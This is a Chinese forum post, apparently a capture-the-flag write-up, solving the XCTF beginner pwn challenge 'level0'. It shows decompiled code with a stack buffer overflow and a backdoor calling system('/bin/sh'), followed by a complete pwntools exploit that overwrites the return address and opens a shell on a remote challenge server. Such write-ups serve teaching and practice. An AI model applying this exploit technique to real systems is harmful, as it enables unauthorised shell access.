首页
社区
课程
招聘
[原创]攻防世界PWN新手区:level0
发表于: 2022-4-4 12:53 6144

[原创]攻防世界PWN新手区:level0

2022-4-4 12:53
6144

题目描述:菜鸡了解了什么是溢出,他相信自己能得到shell

还是老三样:

主函数的逻辑很简单就是写一串字符串然后调用一个函数,跟进去看一下函数代码

这里看到了一个read函数,接收了512字节的字符串,这里很明显可以利用它覆盖return的值,那么接下来要考虑的就是要跳到哪里去了,可以看一下左边的函数列表:

发现这里有一个后门,查看代码

现在思路就很清晰了,通过read函数覆盖返回地址到callsystem函数

图片描述

int __cdecl main(int argc, const char **argv, const char **envp)
{
  write(1, "Hello, World\n", 0xDuLL);
  return vulnerable_function();
}
int __cdecl main(int argc, const char **argv, const char **envp)
{
  write(1, "Hello, World\n", 0xDuLL);
  return vulnerable_function();
}
ssize_t vulnerable_function()
{
  char buf[128]; // [rsp+0h] [rbp-80h] BYREF
 
  return read(0, buf, 0x200uLL);
}
ssize_t vulnerable_function()
{
  char buf[128]; // [rsp+0h] [rbp-80h] BYREF
 
  return read(0, buf, 0x200uLL);
}
 
int callsystem()
{
  return system("/bin/sh");
}
int callsystem()
{
  return system("/bin/sh");
}
from pwn import *
 
context(os='linux',arch='amd64',log_level="debug")
content = 0
 
elf = ELF("level0")
system_addr = elf.symbols["callsystem"]   #0x400596
 
def main():
    if content == 1:
        io = process("level0")
    else:
        io = remote("111.200.241.244",53920)      #建立连接
 
    payload = b'A' * (0x80 + 8) +p64(system_addr)
 
    io.recvuntil("Hello, World\n")
    io.sendline(payload)
 
    io.interactive()
 
if __name__ == '__main__':
    main()

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//